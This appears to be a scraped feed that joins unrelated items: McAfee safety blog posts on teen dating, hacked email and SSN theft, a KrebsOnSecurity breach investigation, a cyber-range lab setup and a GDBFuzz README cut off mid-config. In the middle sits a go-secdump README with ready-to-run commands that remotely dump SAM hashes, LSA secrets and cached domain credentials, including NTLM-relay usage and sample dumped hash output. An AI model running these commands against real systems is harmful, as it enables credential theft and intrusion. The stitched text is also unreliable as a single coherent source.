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Falling in love in the internet age is a whole different ball game to the social-media-free ’70s, ’80s and ’90s. Awkward calls on the home phone, sending cards in the mail, and making mixtapes were all key relationship milestones back in the days of roller skates. But fast forward to the new millennium and dating is a whole different sport.
No longer are teens relying on their friends and family for introductions to new love interests, it’s all doable online thanks to the plethora of available dating apps and social media platforms. So it’s no surprise that research confirms that meeting online has officially displaced the traditional ways romantic partnerships were formed.
But how does it actually work? How do teens really connect online? Is it just about the dating apps? What about Instagram? Don’t they also use messaging apps to meet? And what does ‘benching’ and ‘beta-testing’ mean?
Ah, yes I know it can feel overwhelming but don’t stress – I got you! I’ve put together all the key information you need to know if you have kids who are starting their online dating journey.
When many of us think about online dating, we think about the major dating apps like Tinder and Bumble however that’s actually not where it all happens. In fact, many teens inform me that it really is all about Instagram, Snapchat, and increasingly, TikTok. I am reliably informed that these social media platforms give you a more authentic understanding of someone – great! But, in my opinion, there are potential safety issues with using social media to attract a mate. Particularly, if you have a young, inexperienced teen on your hands.
In order for people to be able to follow you on these platforms (and send you messages), you need to have your profile set to public. So, if you have a young, naïve teen who has their social media accounts set to public to ramp up their love life, then I consider this to be a safety concern. They can receive messages from anyone which is not ideal.
In 2024, chances are your teens will not meet a potential mate in real life (IRL) – it all happens online. But even on the rare chance they do first meet in person, or they eyeball someone they fancy across the school playground, the relationship will develop online. That’s where the magic happens!
So instead of multiple landline telephone calls to friends to ‘suss out’ their crush, they spend multiple hours researching their crush online. They’ll check out and dissect their photos and posts, find all their social media accounts, and then, depending on their level of courage, they may follow all their accounts. Colloquially, this is often referred to as ‘social media stalking’.
Once they’ve built up the courage, teens may start liking the posts of their crush. Some may even go back over old social media posts and photos from several years back to demonstrate their level of interest. This is known as ‘deepliking’. Some teens think this is an effective strategy, others consider this to be off-putting – each to their own!! But the goal here is to put yourself on the radar of your crush.
Now, once the ‘likes’ have gathered some momentum, the teen may decide it’s time to ‘slide into their crush’s DM’s’. Ah – there’s that expression. All it really means is that your teen will send a direct message to their love interest – usually on a social media app such as Instagram or TikTok.
But they may not even need to ‘slide into the DM’s’. I am reliably informed that if you like a few posts of a potential love interest and then, they like a few of yours, you’re flirting and there’s definitely a spark!! The love interest may then just be the one initiating interest.
Now, if there is a spark and the crush has replied, the next phase is messaging – and a lot of it! Potentially 1000’s of messages. I have first-hand experience of paying a telephone bill for someone (no names) who was super smitten with a girl in the days before unlimited data. All I can say is ouch!!!
Now this messaging may take place on a social media app, a messaging app such as WhatsApp, Messenger, or even via text. Or possibly even a combination of them all!! The key here is to keep the messaging going to suss out whether there is a vibe!
But the messaging stage is where it can get messy and confusing. It’s not unusual for teens to be messaging with several potential love interests at once – essentially keeping their options open. Some refer to this as ‘beta-testing’, I would refer to it as disrespectful and probably exhausting – but hey, I’m old school! But this is often a reality for many teens, and it can be quite demoralising to feel like you’re being ‘managed’.
Now, this is a big moment. When your teen and their crush have decided they are exclusive and officially a thing, the next step is to let the world know and make it official. So, they may choose to update their status on their social media platforms to ‘in a relationship’. But if they are after a softer launch, they may simply post a pic of each other, or even together.
Believe it or not, some teens may never actually meet in real life (IRL) but still be in a relationship. If this is the case then it’s more likely that sexting will be part of the relationship. Research shows that 1 in 3 Aussie teens (aged 14 to 17) have some experience with sexting ie sending, receiving, being asked, and asking for nude pics however I think in reality, it is likely more – not everyone answers surveys honestly!
So, yes sexting does happen and while I wish it just didn’t, we can’t put our heads in the sand. So, I encourage all parents to remind their kids that once they send an image they lose control of it, that not all relationships last forever, and that they should never be coerced into doing something they are not comfortable with. Stay tuned for further posts with more sexting tips!
At the risk of being a cynic, chances are your child’s teen relationships will probably not last a lifetime. So, how do you break up when you’re a digital native?
Well, before the break-up phase, ‘benching’ can occur. This happens when one partner no longer wants to meet up with the other in person. It may also be the moment when your teen’s messages are no longer returned – this is called LOR – left on read. Most of us would call this ghosting. But regardless of what you call it, it’s not a nice feeling.
Call me old fashioned but I am a big fan of breaking up with your love in person and my boys know that. Tapering off contact or telling someone that the relationship is over via text is disrespectful, in my opinion.
Helping kids through heartache is tough – I’ve been there!! If your teen is finding life post-relationship hard, why don’t you suggest they delete their social media apps for a week or 2? It’s hard to move on from someone when you are still receiving messages and/or seeing their notifications. It may even be worth unfriending or unfollowing the ex as well.
So, even though the landscape has changed, and the mixtapes have gone, please don’t forget that dating and romance can be super tricky when you are a teen. Not only are you dealing with matters of the heart but in the world’s biggest public forum – the internet. So be kind, gentle, and supportive! And be grateful for the simplicity of the ’70s, ’80s and ’90s.
Alex xx
The post How Teens Date in the Digital Age appeared first on McAfee Blog.
Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysis processes for researchers and cybersecurity professionals.
Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.
Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
FreshRSS Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.
Dump all registry secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Dump only SAM, LSA, or DCC2 cache secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
Dump registry secrets using NTLM relaying
Start listener
./go-secdump --host 192.168.0.100 -n --relay
Trigger an auth to your machine from a client with administrative access to 192.168.0.100 somehow and then wait for the dumped secrets.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc 38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.
When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
I think I could count on my hand the people I know who have NOT had their email hacked. Maybe they found a four-leaf clover when they were kids!
Email hacking is one of the very unfortunate downsides of living in our connected, digital world. And it usually occurs as a result of a data breach – a situation that even the savviest tech experts find themselves in.
In simple terms, a data breach happens when personal information is accessed, disclosed without permission, or lost. Companies, organisations, and government departments of any size can be affected. Data stolen can include customer login details (email addresses and passwords), credit card numbers, identifying IDs of customers e.g. driver’s license numbers and/or passport numbers, confidential customer information, company strategy, or even matters of national security.
Data breaches have made headlines, particularly over the last few years. When the Optus and Medibank data breaches hit the news in 2022 affecting almost 10 million Aussies a piece, we were all shaken. But then when Aussie finance company Latitude, was affected in 2023 with a whopping 14 million people from both Australia and New Zealand affected, it almost felt inevitable that by now, most of us would have been impacted.
But these were the data breaches that grabbed our attention. The reality is that data breaches have been happening for years. In fact, the largest data breach in Australian history actually happened in May 2019 to the online design site Canva which affected 137 million users globally including many Aussies.
So, in short – it can happen to anyone, and the chances are you may have already been affected.
The sole objective of a hacker is to get their hands on your data. And any information that you share in your email account can be very valuable to them. But why do they want your data, you ask? It’s simple really – so they can cash in! Some will keep the juicy stuff for themselves – passwords or logins to government departments or large companies they may want to ’target’ with the aim of extracting valuable data and/or funds. But the more sophisticated ones will sell your details including name, telephone, email address, and credit card details, and cash in on the Dark Web. They often do this in batches. Some experts believe they can get as much as AU$250 for a full set of details including credit cards. So, you can see why they’d be interested in you!
The other reason why hackers will be interested in your email address and password is that many of us re-use these login details across our other online accounts too. So, once they’ve got their hands on your email credentials then they may be able to access your online banking and investment accounts – the possibilities are endless if you are using the same login credentials everywhere. So, you can see why I harp on about using a unique password for every online account!
There is a plethora of statistics on just how big this issue is – all of them concerning.
According to the Australian Institute of Criminology, there were over 16,000 reports of identity theft in 2022.
The Department of Home Affairs and Stay Smart Australia reports that cybercrime costs Australian businesses $29 billion a year with the average business spending around $275,000 to remedy a data breach
And although there has been a slight reduction in Aussies falling for phishing scams in recent years (down from 2.7% in 2020/1 to 2.5% in 2022/3), more Australians are falling victim to card fraud scams with a total of $2.2 billion lost in 2023.
But regardless of which statistic you choose to focus on, we have a big issue on our hands!
If you find yourself a victim of email hacking there are a few very important steps you need to take and the key is to take them FAST!!
This is the very first thing you must do to ensure the hacker can’t get back into your account. It is essential that your new password is complex and totally unrelated to previous passwords. Always use at least 8-10 characters with a variety of upper and lower case and throw in some symbols and numbers. I really like the idea of a crazy, nonsensical sentence – easier to remember and harder to crack! But, better still, get yourself a password manager that will create a password that no human would be capable of creating.
If you find the hacker has locked you out of your account by changing your password, you will need to reset the password by clicking on the ‘Forgot My Password’ link.
This is time-consuming but essential. Ensure you change any other accounts that use the same username and password as your compromised email. Hackers love the fact that many people still use the same logins for multiple accounts, so it is guaranteed they will try your info in other email applications and sites such as PayPal, Amazon, Netflix – you name it!
Once the dust has settled, please review your password strategy for all your online accounts. A best practice is to ensure every online account has its own unique and complex password.
A big part of the hacker’s strategy is to ‘get their claws’ into your address book with the aim of hooking others as well. Send a message to all your email contacts as soon as possible so they know to avoid opening any emails (most likely loaded with malware) that have come from you.
Yes, multi-factor authentication (or 2-factor authentication) adds another step to your login but it also adds another layer of protection. Enabling this will mean that in addition to your password, you will need a special one-time use code to log in. This can be sent to your mobile phone or alternatively, it may be generated via an authenticator app. So worthwhile!
It is not uncommon for hackers to modify your email settings so that a copy of every email you receive is automatically forwarded to them. Not only can they monitor your logins for other sites, but they’ll keep a watchful eye over any particularly juicy personal information. So, check your mail forwarding settings to ensure no unexpected email addresses have been added.
Don’t forget to check your email signature to ensure nothing spammy has been added. Also, ensure your ‘reply to’ email address is actually yours! Hackers have been known to create an email address here that looks similar to yours – when someone replies, it goes straight to their account, not yours!
This is essential also. If you find anything, please ensure it is addressed, and then change your email password again. And if you don’t have it – please invest. Comprehensive security software will provide you with a digital shield for your online life. McAfee+ lets you protect all your devices – including your smartphone – from viruses and malware. It also contains a password manager to help you remember and generate unique passwords for all your accounts.
If you have been hacked several times and your email provider isn’t mitigating the amount of spam you are receiving, then consider starting afresh but don’t delete your email address. Many experts warn against deleting email accounts as most email providers will recycle your old email address. This could mean a hacker could spam every site they can find with a ‘forgot my password’ request and try to impersonate you – identity theft!
Your email is an important part of your online identity so being vigilant and addressing any fallout from hacking is essential for your digital reputation. And even though it may feel that ‘getting hacked’ is inevitable, you can definitely reduce your risk by installing some good quality security software on all your devices. Comprehensive security software such as McAfee+ will alert you when visiting risky websites, warn you when a download looks ‘dodgy’, and will block annoying and dangerous emails with anti-spam technology.
It makes sense really – if you don’t receive the ‘dodgy’ phishing email – you can’t click on it! Smart!
And finally, don’t forget that hackers love social media – particularly those of us who overshare on it. So, before you post details of your adorable new kitten, remember it may just provide the perfect clue for a hacker trying to guess your email password!
Till next time
Alex
The post What to Do If Your Email Is Hacked appeared first on McAfee Blog.
There are now over 5 billion active social media users worldwide, representing 62.3% of the global population. While social networks serve as valuable tools for staying connected with loved ones and documenting life events, the ease of sharing information raises concerns. With a mere few clicks, posts and messages can inadvertently divulge significant personal details, potentially compromising privacy and leaving individuals vulnerable to identity theft. That’s why it’s crucial to make sure you’ve got the know-how to keep your privacy protected while using these platforms.
To empower you in this digital age, we’ve compiled a comprehensive guide featuring ten essential tips to fortify your online security and preserve your privacy on social networks:
Whether you’re a seasoned social media user or just dipping your toes into the digital waters, these strategies will equip you with the knowledge and tools needed to safeguard your online identity effectively. With the added support of McAfee+, you can ensure an extra layer of security to keep your online presence more secure and private through advanced privacy features, 24/7 identity monitoring and alerts, and real-time protection against viruses, hackers, and risky links.
The post How to Protect Yourself on Social Networks appeared first on McAfee Blog.
In the hands of a thief, your Social Security Number is the master key to your identity.
With a Social Security Number (SSN), a thief can unlock everything from credit history and credit line to tax refunds and medical care. In extreme cases, thieves can use it to impersonate others. So, if you suspect your number is lost or stolen, it’s important to report identity theft to Social Security right away.
Part of what makes an SSN so powerful in identity theft is that there’s only one like it. Unlike a compromised credit card, you can’t hop on the phone and get a replacement. No question, the theft of your SSN has serious implications. If you suspect it, report it. So, let’s take a look at how it can happen and how you can report identity theft to Social Security if it does.
Yes. Sort of. The Social Security Administration can assign a new SSN in a limited number of cases. However, per the SSA, “When we assign a different Social Security number, we do not destroy the original number. We cross-refer the new number with the original number to make sure the person receives credit for all earnings under both numbers.”
In other words, your SSN is effectively for forever, which means if it’s stolen, you’re still faced with clearing up any of the malicious activity associated with the theft potentially for quite some time. That’s yet another reason why the protection of your SSN deserves particular attention.
There are several ways an SSN can end up with a thief. Some involve physical theft, and others can take the digital route. To what extent are SSNs at risk? Notably, there was the Equifax breach of 2017, which exposed some 147 million SSNs. Yet just because an SSN has been potentially exposed does not mean that an identity crime has been committed with it.
So, let’s start with the basics: how do SSNs get stolen or exposed?
That’s quite the list. Broadly speaking, the examples above give good reasons for keeping your SSN as private and secure as possible. With that, it’s helpful to know that there are only a handful of situations where your SSN is required for legitimate purposes, which can help you make decisions about how and when to give it out. The list of required cases is relatively short, such as:
You’ll notice that places like doctor’s offices and other businesses are not listed here, though they’ll often request an SSN for identification purposes. While there’s no law preventing them from asking you for that information, they may refuse to work with you if you do not provide that info. In such cases, ask what the SSN would be used for and if there is another form of identification that they can use instead. In all, your SSN is uniquely yours, so be extremely cautious in order to minimize its potential exposure to theft.
Let’s say you spot something unusual on your credit report or get a notification that someone has filed a tax return on your behalf without your knowledge. These are possible signs that your identity, if not your SSN, is in jeopardy, which means it’s time to act right away using the steps below:
1. Report the theft to local and federal authorities.
File a police report and a Federal Trade Commission (FTC) Identity Theft Report. This will help in case someone uses your Social Security number to commit fraud since it will provide a legal record of the theft. The FTC can also assist by guiding you through the identity theft recovery process as well. Their site really is an excellent resource.
2. Contact the businesses involved.
Get in touch with the fraud department at each of the businesses where you suspect theft has taken place, let them know of your situation, and follow the steps they provide. With your police and FTC reports, you will already have a couple of vital pieces of information that can help you clear your name.
3. Reach the Social Security Administration and the IRS.
Check your Social Security account to see if someone has gotten a job and used your SSN for employment purposes. Reviewing earnings associated with your SSN can uncover fraudulent use. You can also contact the Social Security Fraud Hotline at (800) 269-0271 or reach out to your local SSA office for further, ongoing assistance. Likewise, contact the Internal Revenue Service at (800) 908-4490 to report the theft and help prevent someone from submitting a tax return in your name.
As we’ve talked about in some of my other blog posts, identity theft can be a long-term problem where follow-up instances of theft can crop up over time. However, there are a few steps you can take to minimize the damage and ensure it doesn’t happen again. I cover several of those steps in detail in this blog here, yet let’s take a look at a few of the top items as they relate to SSN theft:
Consider placing a fraud alert.
By placing a fraud alert, you can make it harder for thieves to open accounts in your name. Place it with one of the three major credit bureaus (Experian, TransUnion, Equifax), and they will notify the other two. During the year-long fraud alert period, it will require businesses to verify your identity before issuing new credit in your name.
Look into an all-out credit freeze.
A full credit freeze is in place until you lift it and will prohibit creditors from pulling your credit report altogether. This can help stop thieves dead in their tracks since approving credit requires pulling a report. However, this applies to legitimate inquiries, including any that you make, like opening a new loan or signing up for a credit card. If that’s the case, you’ll need to take extra steps as directed by the particular institution or lender. Unlike the fraud alert, you’ll need to notify each of the three major credit bureaus (Experian, TransUnion, Equifax) when you want the freeze lifted.
Monitor your credit reports.
Once a week you can access a free credit report from Experian, TransUnion, and Equifax. Doing so will allow you to spot any future discrepancies and offer you options for correcting them.
Sign up for an identity protection service.
Using a service to help protect your identity can monitor several types of personally identifiable information and alert you of potentially unauthorized use. Our own Identity Protection Service will do all this and more, like offering guided help to neutralize threats and prevent theft from happening again. You can set it up on your computers and smartphone to stay in the know, address issues immediately, and keep your identity secured.
Of all the forms of identity theft, the theft of a Social Security Number is certainly one of the most potentially painful because it can unlock so many vital aspects of your life. It’s uniquely you, even more than your name alone – at least in the eyes of creditors, banks, insurance companies, criminal records, etc. Your SSN calls for extra protection, and if you have any concerns that it may have been lost or stolen, don’t hesitate to spring into action.
The post How to Report Identity Theft to Social Security appeared first on McAfee Blog.
The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.
Clone the repository
git clone https://github.com/csalab-id/csaf.git
Navigate to the project directory
cd csaf
Pull the Docker images
docker-compose --profile=all pull
Generate wazuh ssl certificate
docker-compose -f generate-indexer-certs.yml run --rm generator
For security reason you should set env like this first
export ATTACK_PASS=ChangeMePlease
export DEFENSE_PASS=ChangeMePlease
export MONITOR_PASS=ChangeMePlease
export SPLUNK_PASS=ChangeMePlease
export GOPHISH_PASS=ChangeMePlease
export MAIL_PASS=ChangeMePlease
export PURPLEOPS_PASS=ChangeMePlease
Start all the containers
docker-compose --profile=all up -d
You can run specific profiles for running specific labs with the following profiles - all - attackdefenselab - phisinglab - breachlab - soclab
For example
docker-compose --profile=attackdefenselab up -d
An exposed port can be accessed using a proxy socks5 client, SSH client, or HTTP client. Choose one for the best experience.
This Docker Compose application is released under the MIT License. See the LICENSE file for details.
For nearly a dozen years, residents of South Carolina have been kept in the dark by state and federal investigators over who was responsible for hacking into the state’s revenue department in 2012 and stealing tax and bank account information for 3.6 million people. The answer may no longer be a mystery: KrebsOnSecurity found compelling clues suggesting the intrusion was carried out by the same Russian hacking crew that stole of millions of payment card records from big box retailers like Home Depot and Target in the years that followed.
Questions about who stole tax and financial data on roughly three quarters of all South Carolina residents came to the fore last week at the confirmation hearing of Mark Keel, who was appointed in 2011 by Gov. Nikki Haley to head the state’s law enforcement division. If approved, this would be Keel’s third six-year term in that role.
The Associated Press reports that Keel was careful not to release many details about the breach at his hearing, telling lawmakers he knows who did it but that he wasn’t ready to name anyone.
“I think the fact that we didn’t come up with a whole lot of people’s information that got breached is a testament to the work that people have done on this case,” Keel asserted.
A ten-year retrospective published in 2022 by The Post and Courier in Columbia, S.C. said investigators determined the breach began on Aug. 13, 2012, after a state IT contractor clicked a malicious link in an email. State officials said they found out about the hack from federal law enforcement on October 10, 2012.
KrebsOnSecurity examined posts across dozens of cybercrime forums around that time, and found only one instance of someone selling large volumes of tax data in the year surrounding the breach date.
On Oct. 7, 2012 — three days before South Carolina officials say they first learned of the intrusion — a notorious cybercriminal who goes by the handle “Rescator” advertised the sale of “a database of the tax department of one of the states.”
“Bank account information, SSN and all other information,” Rescator’s sales thread on the Russian-language crime forum Embargo read. “If you purchase the entire database, I will give you access to it.”
A week later, Rescator posted a similar offer on the exclusive Russian forum Mazafaka, saying he was selling information from a U.S. state tax database, without naming the state. Rescator said the data exposed included Social Security Number (SSN), employer, name, address, phone, taxable income, tax refund amount, and bank account number.
“There is a lot of information, I am ready to sell the entire database, with access to the database, and in parts,” Rescator told Mazafaka members. “There is also information on corporate taxpayers.”
On Oct. 26, 2012, the state announced the breach publicly. State officials said they were working with investigators from the U.S. Secret Service and digital forensics experts from Mandiant, which produced an incident report (PDF) that was later published by South Carolina Dept. of Revenue. KrebsOnSecurity sought comment from the Secret Service, South Carolina prosecutors, and Mr. Keel’s office. This story will be updated if any of them respond. Update: The Secret Service declined to comment.
On Nov. 18, 2012, Rescator told fellow denizens of the forum Verified he was selling a database of 65,000 records with bank account information from several smaller, regional financial institutions. Rescator’s sales thread on Verified listed more than a dozen database fields, including account number, name, address, phone, tax ID, date of birth, employer and occupation.
Asked to provide more context about the database for sale, Rescator told forum members the database included financial records related to tax filings of a U.S. state. Rescator added that there was a second database of around 80,000 corporations that included social security numbers, names and addresses, but no financial information.
The AP says South Carolina paid $12 million to Experian for identity theft protection and credit monitoring for its residents after the breach.
“At the time, it was one of the largest breaches in U.S. history but has since been surpassed greatly by hacks to Equifax, Yahoo, Home Depot, Target and PlayStation,” the AP’s Jeffrey Collins wrote.
As it happens, Rescator’s criminal hacking crew was directly responsible for the 2013 breach at Target and the 2014 hack of Home Depot. The Target intrusion saw Rescator’s cybercrime shops selling roughly 40 million stolen payment cards, and 56 million cards from Home Depot customers.
Who is Rescator? On Dec. 14, 2023, KrebsOnSecurity published the results of a 10-year investigation into the identity of Rescator, a.k.a. Mikhail Borisovich Shefel, a 36-year-old who lives in Moscow and who recently changed his last name to Lenin.
Mr. Keel’s assertion that somehow the efforts of South Carolina officials following the breach may have lessened its impact on citizens seems unlikely. The stolen tax and financial data appears to have been sold openly on cybercrime forums by one of the Russian underground’s most aggressive and successful hacking crews.
While there are no indications from reviewing forum posts that Rescator ever sold the data, his sales threads came at a time when the incidence of tax refund fraud was skyrocketing.
Tax-related identity theft occurs when someone uses a stolen identity and SSN to file a tax return in that person’s name claiming a fraudulent refund. Victims usually first learn of the crime after having their returns rejected because scammers beat them to it. Even those who are not required to file a return can be victims of refund fraud, as can those who are not actually owed a refund from the U.S. Internal Revenue Service (IRS).
According to a 2013 report from the Treasury Inspector General’s office, the IRS issued nearly $4 billion in bogus tax refunds in 2012, and more than $5.8 billion in 2013. The money largely was sent to people who stole SSNs and other information on U.S. citizens, and then filed fraudulent tax returns on those individuals claiming a large refund but at a different address.
It remains unclear why Shefel has never been officially implicated in the breaches at Target, Home Depot, or in South Carolina. It may be that Shefel has been indicted, and that those indictments remain sealed for some reason. Perhaps prosecutors were hoping Shefel would decide to leave Russia, at which point it would be easier to apprehend him if he believed no one was looking for him.
But all signs are that Shefel is deeply rooted in Russia, and has no plans to leave. In January 2024, authorities in Australia, the United States and the U.K. levied financial sanctions against 33-year-old Russian man Aleksandr Ermakov for allegedly stealing data on 10 million customers of the Australian health insurance giant Medibank.
A week after those sanctions were put in place, KrebsOnSecurity published a deep dive on Ermakov, which found that he co-ran a Moscow-based IT security consulting business along with Mikhail Shefel called Shtazi-IT.
A Google-translated version of Shtazi dot ru. Image: Archive.org.
This is the companion code for the paper: 'Fuzzing Embedded Systems using Debugger Interfaces'. A preprint of the paper can be found here https://publications.cispa.saarland/3950/. The code allows the users to reproduce and extend the results reported in the paper. Please cite the above paper when reporting, reproducing or extending the results.
.
├── benchmark # Scripts to build Google's fuzzer test suite and run experiments
├── dependencies # Contains a Makefile to install dependencies for GDBFuzz
├── evaluation # Raw exeriment data, presented in the paper
├── example_firmware # Embedded example applications, used for the evaluation
├── example_programs # Contains a compiled example program and configs to test GDBFuzz
├── src # Contains the implementation of GDBFuzz
├── Dockerfile # For creating a Docker image with all GDBFuzz dependencies installed
├── LICENSE # License
├── Makefile # Makefile for creating the docker image or install GDBFuzz locally
└── README.md # This README file
The idea of GDBFuzz is to leverage hardware breakpoints from microcontrollers as feedback for coverage-guided fuzzing. Therefore, GDB is used as a generic interface to enable broad applicability. For binary analysis of the firmware, Ghidra is used. The code contains a benchmark setup for evaluating the method. Additionally, example firmware files are included.
GDBFuzz enables coverage-guided fuzzing for embedded systems, but - for evaluation purposes - can also fuzz arbitrary user applications. For fuzzing on microcontrollers we recommend a local installation of GDBFuzz to be able to send fuzz data to the device under test flawlessly.
GDBFuzz has been tested on Ubuntu 20.04 LTS and Raspberry Pie OS 32-bit. Prerequisites are java and python3. First, create a new virtual environment and install all dependencies.
virtualenv .venv
source .venv/bin/activate
make
chmod a+x ./src/GDBFuzz/main.py
GDBFuzz reads settings from a config file with the following keys.
[SUT]
# Path to the binary file of the SUT.
# This can, for example, be an .elf file or a .bin file.
binary_file_path = <path>
# Address of the root node of the CFG.
# Breakpoints are placed at nodes of this CFG.
# e.g. 'LLVMFuzzerTestOneInput' or 'main'
entrypoint = <entrypoint>
# Number of inputs that must be executed without a breakpoint hit until
# breakpoints are rotated.
until_rotate_breakpoints = <number>
# Maximum number of breakpoints that can be placed at any given time.
max_breakpoints = <number>
# Blacklist functions that shall be ignored.
# ignore_functions is a space separated list of function names e.g. 'malloc free'.
ignore_functions = <space separated list>
# One of {Hardware, QEMU, SUTRunsOnHost}
# Hardware: An external component starts a gdb server and GDBFuzz can connect to this gdb server.
# QEMU: GDBFuzz starts QEMU. QEMU emulates binary_file_path and starts gdbserver.
# SUTRunsOnHost: GDBFuzz start the target program within GDB.
target_mode = <mode>
# Set this to False if you want to start ghidra, analyze the SUT,
# and start the ghidra bridge server manually.
start_ghidra = True
# Space separated list of addresses where software breakpoints (for error
# handling code) are set. Execution of those is considered a crash.
# Example: software_breakpoint_addresses = 0x123 0x432
software_breakpoint_addresses =
# Whether all triggered software breakpoints are considered as crash
consider_sw_breakpoint_as_error = False
[SUTConnection]
# The class 'SUT_connection_class' in file 'SUT_connection_path' implements
# how inputs are sent to the SUT.
# Inputs can, for example, be sent over Wi-Fi, Serial, Bluetooth, ...
# This class must inherit from ./connections/SUTConnection.py.
# See ./connections/SUTConnection.py for more information.
SUT_connection_file = FIFOConnection.py
[GDB]
path_to_gdb = gdb-multiarch
#Written in address:port
gdb_server_address = localhost:4242
[Fuzzer]
# In Bytes
maximum_input_length = 100000
# In seconds
single_run_timeout = 20
# In seconds
total_runtime = 3600
# Optional
# Path to a directory where each file contains one seed. If you don't want to
# use seeds, leave the value empty.
seeds_directory =
[BreakpointStrategy]
# Strategies to choose basic blocks are located in
# 'src/GDBFuzz/breakpoint_strategies/'
# For the paper we use the following strategies
# 'RandomBasicBlockStrategy.py' - Randomly choosing unreached basic blocks
# 'RandomBasicBlockNoDomStrategy.py' - Like previous, but doesn't use dominance relations to derive transitively reached nodes.
